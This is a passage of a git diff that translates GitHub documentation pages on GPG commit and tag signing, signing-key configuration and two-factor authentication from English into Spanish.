+Para almacenar tus contraseña de llave GPG para no tener que ingresarla cada vez que firmas una confirmación, recomendamos utilizando las siguientes herramientas:
+  - Para los usuarios de Mac, la [GPG Suite](https://gpgtools.org/) te permite almacenar tu contraseña de llave GPG en la keychain de Mac OS.
+  - Para los usuarios de Windows, [Gpg4win](https://www.gpg4win.org/) se integra con otras herramientas de Windows.
 
-You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with Mac OS Keychain like ssh-agent and requires more setup.
+También puedes configurar de forma manual [gpg-agent](http://linux.die.net/man/1/gpg-agent) para guardar tu contraseña de llave GPG, pero esta no se integra con la keychain de Mac OS como ssh-agent y requiere mayor configuración.
 
 {% endtip %}
 
-If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/articles/telling-git-about-your-signing-key).
+Si tienes múltiples llaves o estás intentando firmar confirmaciones o etiquetas con una llave que no coincide con tu identidad de persona que confirma el cambio, deberías [informarle a Git acerca de tu llave de firma](/articles/telling-git-about-your-signing-key).
 
-1. When committing changes in your local branch, add the -S flag to the git commit command:
+1. Cuando confirmas los cambios en tu rama local, agrega la marca -S al comando de confirmación de Git:
   ```shell
   $ git commit -S -m <em>"your commit message"</em>
   # Creates a signed commit
   ```
-2. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/articles/generating-a-new-gpg-key).
-3. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.product_name %}:
+2. Si estás utilizando GPG, después de crear tu confirmación, proporciona la contraseña que configuraste cuando [generaste tu llave GPG](/articles/generating-a-new-gpg-key).
+3. Cuando terminaste de crear confirmaciones de forma local, súbelas a tu repositorio remoto en {% data variables.product.product_name %}:
   ```shell
   $ git push
   # Pushes your local commits to the remote repository
   ```
-4. On {% data variables.product.product_name %}, navigate to your pull request.
+4. En {% data variables.product.product_name %}, desplázate hasta la solicitud de extracción.
 {% data reusables.repositories.review-pr-commits %}
-5. To view more detailed information about the verified signature, click Verified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+5. Para ver información más detallada acerca de la firma verificada, haz clic en Verified (Verificada). ![Confirmación firmada](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
 
-## Further reading
+## Leer más
 
-* "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-* "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-* "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-* "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-* "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-* "[Signing tags](/articles/signing-tags)"
+* "[Comprobar llaves GPG existentes](/articles/checking-for-existing-gpg-keys)"
+* "[Generar una llave GPG nueva](/articles/generating-a-new-gpg-key)"
+* "[Agregar una nueva llave GPG a tu cuenta de GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)"
+* "[Informar a Git sobre tu llave de firma](/articles/telling-git-about-your-signing-key)"
+* "[Asociar un correo electrónico con tu llave GPG](/articles/associating-an-email-with-your-gpg-key)"
+* "[Firmar etiquetas](/articles/signing-tags)"
diff --git a/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-tags.md b/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-tags.md
index 7d9a38a398..2b25207e25 100644
--- a/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-tags.md
+++ b/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-tags.md
@@ -1,6 +1,6 @@
 ---
-title: Signing tags
-intro: You can sign tags locally using GPG or S/MIME.
+title: Firmar etiquetas
+intro: Puedes firmar las etiquetas localmente utilizando GPG o S/MIME.
 redirect_from:
   - /articles/signing-tags-using-gpg
   - /articles/signing-tags
@@ -15,25 +15,26 @@ topics:
   - Identity
   - Access management
 ---
+
 {% data reusables.gpg.desktop-support-for-commit-signing %}
 
-1. To sign a tag, add `-s` to your `git tag` command.
+1. Para firmar una etiqueta, agrega `-s` a tu comando `git tag`.
   ```shell
   $ git tag -s <em>mytag</em>
   # Creates a signed tag
   ```
-2. Verify your signed tag it by running `git tag -v [tag-name]`.
+2. Verifica tu etiqueta firmada al ejecutar `git tag -v [tag-name]`.
   ```shell
   $ git tag -v <em>mytag</em>
   # Verifies the signed tag
   ```
 
-## Further reading
+## Leer más
 
-- "[Viewing your repository's tags](/articles/viewing-your-repositorys-tags)"
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
+- [Ver las etiquetas de tu repositorio](/articles/viewing-your-repositorys-tags)"
+- "[Comprobar llaves GPG existentes](/articles/checking-for-existing-gpg-keys)"
+- "[Generar una llave GPG nueva](/articles/generating-a-new-gpg-key)"
+- "[Agregar una nueva llave GPG a tu cuenta de GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)"
+- "[Informar a Git sobre tu llave de firma](/articles/telling-git-about-your-signing-key)"
+- "[Asociar un correo electrónico con tu llave GPG](/articles/associating-an-email-with-your-gpg-key)"
+- "[Firmar confirmaciones](/articles/signing-commits)"
diff --git a/translations/es-ES/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md b/translations/es-ES/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
index 25275ba5df..ad9b876329 100644
--- a/translations/es-ES/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
+++ b/translations/es-ES/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md
@@ -1,6 +1,6 @@
 ---
-title: Telling Git about your signing key
-intro: 'To sign commits locally, you need to inform Git that there''s a GPG or X.509 key you''d like to use.'
+title: Informarle a Git acerca de tu clave de firma
+intro: 'Para firmar las confirmaciones localmente, necesitas informar a Git que hay una llave de GPG o X.509 que quieres utilizar.'
 redirect_from:
   - /articles/telling-git-about-your-gpg-key
   - /articles/telling-git-about-your-signing-key
@@ -14,32 +14,33 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Tell Git your signing key
+shortTitle: Decirle tu llave de firma a Git
 ---
+
 {% mac %}
 
-## Telling Git about your GPG key
+## Informarle a Git acerca de tu llave GPG
 
-If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+Si estás utilizando una llave GPG que empata con tu identidad de confirmante y tu dirección de correo electrónico verificada asociada con tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, entonces puedes comenzar a firmar confirmaciones y etiquetas.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+Si no tienes una llave GPG que coincida con la identidad de la persona que confirma el cambio, debes asociar un correo electrónico a una llave existente. Para obtener más información, consulta "[Asociar un correo electrónico a tu llave GPG](/articles/associating-an-email-with-your-gpg-key)".
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+Si tienes múltiples llaves GPG, le debes decir a Git cuál utilizar.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. If you aren't using the GPG suite, run the following command in the `zsh` shell to add the GPG key to your `.zshrc` file, if it exists, or your `.zprofile` file:
+1. Si no estás utilizando la suite de GPG, ejecuta el siguiente comando en el shell de `zsh` para agregar la llave GPG a tu archivo `.zshrc`, si es que existe, o a tu archivo `.zprofile`:
   ```shell
   $ if [ -r ~/.zshrc ]; then echo 'export GPG_TTY=$(tty)' >> ~/.zshrc; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.zprofile; fi
   ```
-  Alternatively, if you use the `bash` shell, run this command:
+  Como alternativa, si utilizas el shell `bash`, ejecuta este comando:
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
@@ -51,17 +52,17 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% windows %}
 
-## Telling Git about your GPG key
+## Informarle a Git acerca de tu llave GPG
 
-If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+Si estás utilizando una llave GPG que empata con tu identidad de confirmante y tu dirección de correo electrónico verificada asociada con tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, entonces puedes comenzar a firmar confirmaciones y etiquetas.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+Si no tienes una llave GPG que coincida con la identidad de la persona que confirma el cambio, debes asociar un correo electrónico a una llave existente. Para obtener más información, consulta "[Asociar un correo electrónico a tu llave GPG](/articles/associating-an-email-with-your-gpg-key)".
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+Si tienes múltiples llaves GPG, le debes decir a Git cuál utilizar.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
@@ -74,41 +75,41 @@ If you have multiple GPG keys, you need to tell Git which one to use.
 
 {% linux %}
 
-## Telling Git about your GPG key
+## Informarle a Git acerca de tu llave GPG
 
-If you're using a GPG key that matches your committer identity and your verified email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then you can begin signing commits and signing tags.
+Si estás utilizando una llave GPG que empata con tu identidad de confirmante y tu dirección de correo electrónico verificada asociada con tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, entonces puedes comenzar a firmar confirmaciones y etiquetas.
 
 {% note %}
 
-If you don't have a GPG key that matches your committer identity, you need to associate an email with an existing key. For more information, see "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)".
+Si no tienes una llave GPG que coincida con la identidad de la persona que confirma el cambio, debes asociar un correo electrónico a una llave existente. Para obtener más información, consulta "[Asociar un correo electrónico a tu llave GPG](/articles/associating-an-email-with-your-gpg-key)".
 
 {% endnote %}
 
-If you have multiple GPG keys, you need to tell Git which one to use.
+Si tienes múltiples llaves GPG, le debes decir a Git cuál utilizar.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.gpg.list-keys-with-note %}
 {% data reusables.gpg.copy-gpg-key-id %}
 {% data reusables.gpg.paste-gpg-key-id %}
-1. To add your GPG key to your bash profile, run the following command:
+1. Para agregar tu llave GPG a tu perfil bash, ejecuta el siguiente comando:
   ```shell
   $ if [ -r ~/.bash_profile ]; then echo 'export GPG_TTY=$(tty)' >> ~/.bash_profile; \
     else echo 'export GPG_TTY=$(tty)' >> ~/.profile; fi
   ```
   {% note %}
 
-  **Note:** If you don't have `.bash_profile`, this command adds your GPG key to `.profile`.
+  **Nota:** Si no tienes `.bash_profile`, este comando agrega tu llave GPG al `.profile`.
 
   {% endnote %}
 
 {% endlinux %}
 
-## Further reading
+## Leer más
 
-- "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)"
-- "[Generating a new GPG key](/articles/generating-a-new-gpg-key)"
-- "[Using a verified email address in your GPG key](/articles/using-a-verified-email-address-in-your-gpg-key)"
-- "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)"
-- "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- "[Comprobar llaves GPG existentes](/articles/checking-for-existing-gpg-keys)"
+- "[Generar una llave GPG nueva](/articles/generating-a-new-gpg-key)"
+- "[Utilizar una dirección de correo electrónico verificada en tu llave GPG](/articles/using-a-verified-email-address-in-your-gpg-key)"
+- "[Agregar una nueva llave GPG a tu cuenta de GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)"
+- "[Asociar un correo electrónico con tu llave GPG](/articles/associating-an-email-with-your-gpg-key)"
+- "[Firmar confirmaciones](/articles/signing-commits)"
+- "[Firmar etiquetas](/articles/signing-tags)"
diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md
index e0a5f58353..3a2388257f 100644
--- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md
+++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: About two-factor authentication
-intro: '{% data reusables.two_fa.about-2fa %} With 2FA, you have to log in with your username and password and provide another form of authentication that only you know or have access to.'
+title: Acerca de la autenticación de dos factores
+intro: '{% data reusables.two_fa.about-2fa %} Con la 2FA, tendrás que ingresar con tu nombre de usuario y contraseña y proporcionar otra forma de autenticación que solo tú sepas o a la que solo tú tengas acceso.'
 redirect_from:
   - /articles/about-two-factor-authentication
   - /github/authenticating-to-github/about-two-factor-authentication
@@ -11,34 +11,35 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: About 2FA
+shortTitle: Acerca de la 2FA
 ---
-For {% data variables.product.product_name %}, the second form of authentication is a code that's generated by an application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. After you enable 2FA, {% data variables.product.product_name %} generates an authentication code any time someone attempts to sign into your account on {% data variables.product.product_location %}. The only way someone can sign into your account is if they know both your password and have access to the authentication code on your phone.
+
+Para {% data variables.product.product_name %}, la segunda forma de autenticación es un código que es generado por una aplicación en tu dispositivo móvil{% ifversion fpt or ghec %} o enviado como mensaje de texto (SMS){% endif %}. Una vez que activas la 2FA, {% data variables.product.product_name %} genera un código de autenticación cada vez que alguien intenta iniciar sesión en tu cuenta de {% data variables.product.product_location %}. El único modo en que alguien puede iniciar sesión en tu cuenta es si conoce la contraseña y si tiene acceso al código de autenticación de tu teléfono.
 
 {% data reusables.two_fa.after-2fa-add-security-key %}
 
-You can also configure additional recovery methods in case you lose access to your two-factor authentication credentials. For more information on setting up 2FA, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" and "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)."
+También puedes configurar métodos de recuperación adicionales en caso de que pierdas el acceso a tus credenciales de autenticación de dos factores. Para obtener más información acerca de la configuración de la 2FA, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)" y "[Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods)".
 
-We **strongly** urge you to enable 2FA for the safety of your account, not only on {% data variables.product.product_name %}, but on other websites and apps that support 2FA. You can enable 2FA to access {% data variables.product.product_name %} and {% data variables.product.prodname_desktop %}.
+Te recomendamos **enfáticamente** que habilites la 2FA para mantener la seguridad de tu cuenta, no solo en {% data variables.product.product_name %}, sino en otros sitios web y aplicaciones que la admitan. Puedes habilitar la 2FA para acceder a {% data variables.product.product_name %} y a {% data variables.product.prodname_desktop %}.
 
-For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)."
+Para obtener más información, consulta "[Acceder a {% data variables.product.prodname_dotcom %} utilizando autenticación de dos factores](/articles/accessing-github-using-two-factor-authentication)".
 
-## Two-factor authentication recovery codes
+## Códigos de recuperación de autenticación de dos factores
 
-{% data reusables.two_fa.about-recovery-codes %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+{% data reusables.two_fa.about-recovery-codes %} Para obtener más información, consulta "[Recuperar tu cuenta si pierdes tus credenciales 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)".
 
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning**: {% data reusables.two_fa.support-may-not-help %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+**Advertencia**: {% data reusables.two_fa.support-may-not-help %} Para obtener más información, consulta "[Recuperar tu cuenta si pierdes tus credenciales 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)".
 
 {% endwarning %}
 
 {% endif %}
 
-## Requiring two-factor authentication in your organization
+## Solicitar autenticación de dos factores en tu organización
 
-Organization owners can require that organization members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators use two-factor authentication to secure their personal accounts. For more information, see "[Requiring two-factor authentication in your organization](/articles/requiring-two-factor-authentication-in-your-organization)."
+Los propietarios de la organización pueden solicitar que los miembros{% ifversion fpt or ghec %} de la organización, los gerentes de facturación, {% endif %} y los colaboradores externos usen la autenticación de dos factores para proteger sus cuentas personales. Para obtener más información, consulta "[Solicitar la autenticación de dos factores en tu organización](/articles/requiring-two-factor-authentication-in-your-organization)".
 
 {% data reusables.two_fa.auth_methods_2fa %}
diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
index a58a2a56b1..09bf5d784c 100644
--- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
+++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing GitHub using two-factor authentication
-intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.product_name %}.'
+title: Acceder a GitHub utilizando la autenticación de dos factores
+intro: 'Cuando habilitas la 2FA, se te pedirá que proporciones tu código de 2FA así como tu contraseña al momento de iniciar sesión en {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/providing-your-2fa-security-code
   - /articles/providing-your-2fa-authentication-code
@@ -14,59 +14,60 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Access GitHub with 2FA
+shortTitle: Acceso a GitHub con 2FA
 ---
-With two-factor authentication enabled, you'll need to provide an authentication code when accessing {% data variables.product.product_name %} through your browser. If you access {% data variables.product.product_name %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)."
 
-## Providing a 2FA code when signing in to the website
+Al tener la autenticación de dos factores habilitada, necesitarás proporcionar el código de autenticación cuando accedes a {% data variables.product.product_name %} a través de tu buscador. Si accedes a {% data variables.product.product_name %} utilizando otros métodos, tales como la API o la línea de comandos, necesitarás utilizar una forma alterna de autenticación. Para obtener más información, consulta la sección "[Acerca de la autenticación en {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)".
 
-After you sign in to {% data variables.product.product_name %} using your password, you'll be prompted to provide an authentication code from {% ifversion fpt or ghec %}a text message or{% endif %} your TOTP app.
+## Proporcionar un código 2FA al iniciar sesión en el sitio web
 
-{% data variables.product.product_name %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, or your session expires.
+Después de iniciar sesión en {% data variables.product.product_name %} con tu contraseña, se te pedirá que brindes un código de autenticación desde un mensaje de texto de {% ifversion fpt or ghec %} o {% endif %} tu app TOTP.
 
-### Generating a code through a TOTP application
+{% data variables.product.product_name %} solo te pedirá que brindes tu código de autenticación 2FA nuevamente si has cerrado sesión, estás usando un dispositivo nuevo o si caduca tu sesión.
 
-If you chose to set up two-factor authentication using a TOTP application on your smartphone, you can generate an authentication code for {% data variables.product.product_name %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions.
+### Generar un código a través de una aplicación TOTP
 
-If you delete the mobile application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. For more information, see "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+Si decides configurar una autenticación de dos factores mediante una aplicación TOTP en tu smartphone, puedes generar un código de autenticación para {% data variables.product.product_name %} en cualquier momento. En la mayoría de los casos, el lanzamiento de la aplicación generará un código nuevo. Deberías consultar la documentación de la aplicación para conocer las instrucciones específicas.
+
+Si eliminas las aplicaciones móviles después de configurar la autenticación de dos factores, deberás proporcionar tu código de recuperación para obtener acceso a tu cuenta. Para obtener más información, consulta "[Recuperar tu cuenta si perdiste las credenciales de autenticación de dos factores](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
 
 {% ifversion fpt or ghec %}
 
-### Receiving a text message
+### Recibir un mensaje de texto
 
-If you set up two-factor authentication via text messages, {% data variables.product.product_name %} will send you a text message with your authentication code.
+Si configuras una autenticación de dos factores mediante mensajes de texto, {% data variables.product.product_name %} te enviará un mensaje de texto con tu código de autenticación.
 
 {% endif %}
 
-## Using two-factor authentication with the command line
+## Usar autenticación de dos factores con la línea de comando
 
-After you've enabled 2FA, you must use a personal access token or SSH key instead of your password when accessing {% data variables.product.product_name %} on the command line.
+Después de haber habilitado 2FA, debes usar un token de acceso personal o una clave SSH en lugar de tu contraseña al acceder a {% data variables.product.product_name %} en la línea de comando.
 
-### Authenticating on the command line using HTTPS
+### Autenticar en la línea de comando mediante HTTPS
 
-After you've enabled 2FA, you must create a personal access token to use as a password when authenticating to {% data variables.product.product_name %} on the command line using HTTPS URLs.
+Después de haber habilitado 2FA, debes crear un token de acceso personal para usar una contraseña al autenticar a {% data variables.product.product_name %} en la línea de comando mediante las URL HTTPS.
 
-When prompted for a username and password on the command line, use your {% data variables.product.product_name %} username and personal access token. The command line prompt won't specify that you should enter your personal access token when it asks for your password.
+Cuando se te solicite el nombre de usuario y la contraseña en la línea de comando, usa tu nombre de usuario {% data variables.product.product_name %} y el token de acceso personal. La indicación de la línea de comando no especificará que debes ingresar tu token de acceso personal cuando se te solicite la contraseña.
 
-For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
-### Authenticating on the command line using SSH
+### Autenticar en la línea de comandos mediante SSH
 
-Enabling 2FA doesn't change how you authenticate to {% data variables.product.product_name %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/articles/connecting-to-github-with-ssh/)."
+La habilitación de 2FA no cambia el modo de autenticar a {% data variables.product.product_name %} en la línea de comando mediante las URL SSH. Para obtener más información sobre cómo establecer y usar una clave SSH, consulta "[Conectar a {% data variables.product.prodname_dotcom %} con SSH](/articles/connecting-to-github-with-ssh/)".
 
-## Using two-factor authentication to access a repository using Subversion
+## Usar autenticación de dos factores para acceder a un repositorio mediante Subversion
 
-When you access a repository via Subversion, you must provide a personal access token instead of entering your password. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Cuando accedas a un repositorio mediante Subversion, debes proporcionar un token de acceso personal en lugar de ingresar tu contraseña. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
-## Troubleshooting
+## Solución de problemas
 
-If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
+Si pierdes el acceso a tus credenciales de autenticación de dos factores, puedes usar tus códigos de recuperación u otro método de recuperación (si has configurado uno) para recuperar el acceso a tu cuenta. Para obtener más información, consulta "[Recuperar tu cuenta si pierdes tus credenciales de 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)".
 
-If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone.
+Si tu autenticación falla varias veces, es posible que desees sincronizar el reloj de tu teléfono con tu proveedor móvil. Frecuentemente, esto involucra la verificación de la opción "Establecer automáticamente" en el reloj de tu teléfono, en lugar de brindar tu propia zona horaria.
 
-## Further reading
+## Leer más
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
+- "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)"
+- [Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)"
+- [Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods)"
+- [Recuperar tu cuenta si pierdes tus credenciales de autenticación de dos factores](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
index 025b05a7ce..fa57987eba 100644
--- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
+++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md
@@ -1,6 +1,6 @@
 ---
-title: Changing two-factor authentication delivery methods for your mobile device
-intro: You can switch between receiving authentication codes through a text message or a mobile application.
+title: Cambiar los métodos de entrega de autenticación de dos factores para tu dispositivo móvil
+intro: Puedes alternar entre la recepción de código de autenticación a través de un mensaje de texto o una aplicación móvil.
 redirect_from:
   - /articles/changing-two-factor-authentication-delivery-methods
   - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device
@@ -11,25 +11,24 @@ versions:
   ghec: '*'
 topics:
   - 2FA
-shortTitle: Change 2FA delivery method
+shortTitle: Cambiar el método de entrega de 2FA
 ---
+
 {% note %}
 
-**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)."
+**Nota:** El cambiar tu método principal para una autenticación bifactorial invalida tu configuración actual de autenticación bifactorial, incluyendo tus códigos de recuperación. Mantén seguro tu conjunto de códigos de recuperación nuevo. El cambiar tu método principal de autenticación bifactorial no afecta tu configuración de recuperación por SMS, en caso de que la hayas configurado. Para obtener más información, consulta la sección "[Configurar los métodos de autenticación bifactoriales](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)".
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Next to "SMS delivery", click **Edit**.
-  ![Edit SMS delivery options](/assets/images/help/2fa/edit-sms-delivery-option.png)
-4. Under "Delivery options", click **Reconfigure two-factor authentication**.
-    ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png)
-5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
-    - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**.
-    - To set up two-factor authentication using text message (SMS), click **Set up using SMS**.
+3. Al lado de "SMS delivery" (Entrega de SMS), haz clic en **Edit** (Editar). ![Editar opciones de entrega de SMS](/assets/images/help/2fa/edit-sms-delivery-option.png)
+4. En "Delivery options" (Opciones de entrega), haz clic en **Reconfigure two-factor authentication** (Reconfirgurar autenticación de dos factores). ![Cambiar tus opciones de entrega 2FA](/assets/images/help/2fa/2fa-switching-methods.png)
+5. Decide si deseas configurar la autenticación de dos factores mediante una app móvil TOTP o un mensaje de texto. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)".
+    - Para configurar la autenticación de dos factores mediante una app móvil TOTP, haz clic en **Set up using an app** (Configurar mediante una app).
+    - Para configurar la autenticación de dos factores mediante un mensaje de texto (SMS), haz clic en **Set up using SMS** (Configurar mediante SMS).
 
-## Further reading
+## Leer más
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
+- "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)"
+- [Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods)"
diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md
index d8d0f02c3a..867d087243 100644
